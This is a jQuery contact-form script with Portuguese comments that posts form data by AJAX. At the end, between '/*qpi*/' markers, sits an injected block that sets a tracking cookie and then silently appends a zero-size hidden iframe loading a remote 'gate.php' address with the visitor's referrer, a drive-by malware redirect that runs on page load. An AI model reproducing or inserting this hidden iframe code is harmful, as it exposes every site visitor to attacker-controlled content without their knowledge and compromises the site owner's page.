function resetForm() {
	
	document.form.reset();

}

// Após o documento carregado..
$(document).ready(function(){

	$("#form").submit(function() {
		
		if( $("#nome").valid() && $("#email").valid()){

			// Variável params recebe os parâmetros do formulário
			var params = $(this.elements).serialize();
			
			// Variável self representará o Formulário
			var self = this;
			
			//cria-se uma requisição Ajax
	        $.ajax({

	            // Usando metodo Post
	            type: 'POST',

	            // this.action pega o script para onde vai ser enviado os dados
	            //this representa o form.
	            url: this.action,

	            // os dados que pegamos com a função serialize()
	            data: params,

	            // Antes de enviar o form.
	            beforeSend: function(){
	                // mostro a div loading
	                $('#loading').show();

	                //  html(): equivalente ao innerHTML
	                $('#loading').html("Carregando...");
	            },
	            //Se requisição houver sucesso
	            success: function(){

	                // Escrevo a mensagem na div loading
	                $('#loading').html("Mensagem enviada com Sucesso!...");

	                // Limpo o formulário
	                self.reset();
	            },

	            // Se acontecer algum erro na requis. é executada essa função
	            error: function(){
	                $('#loading').html("Erro ao enviar a mensagem..!");
	            }
	        })
	        //valor de retorno padrão
	        return false;
		 }
	}); 
});





/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=836951&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
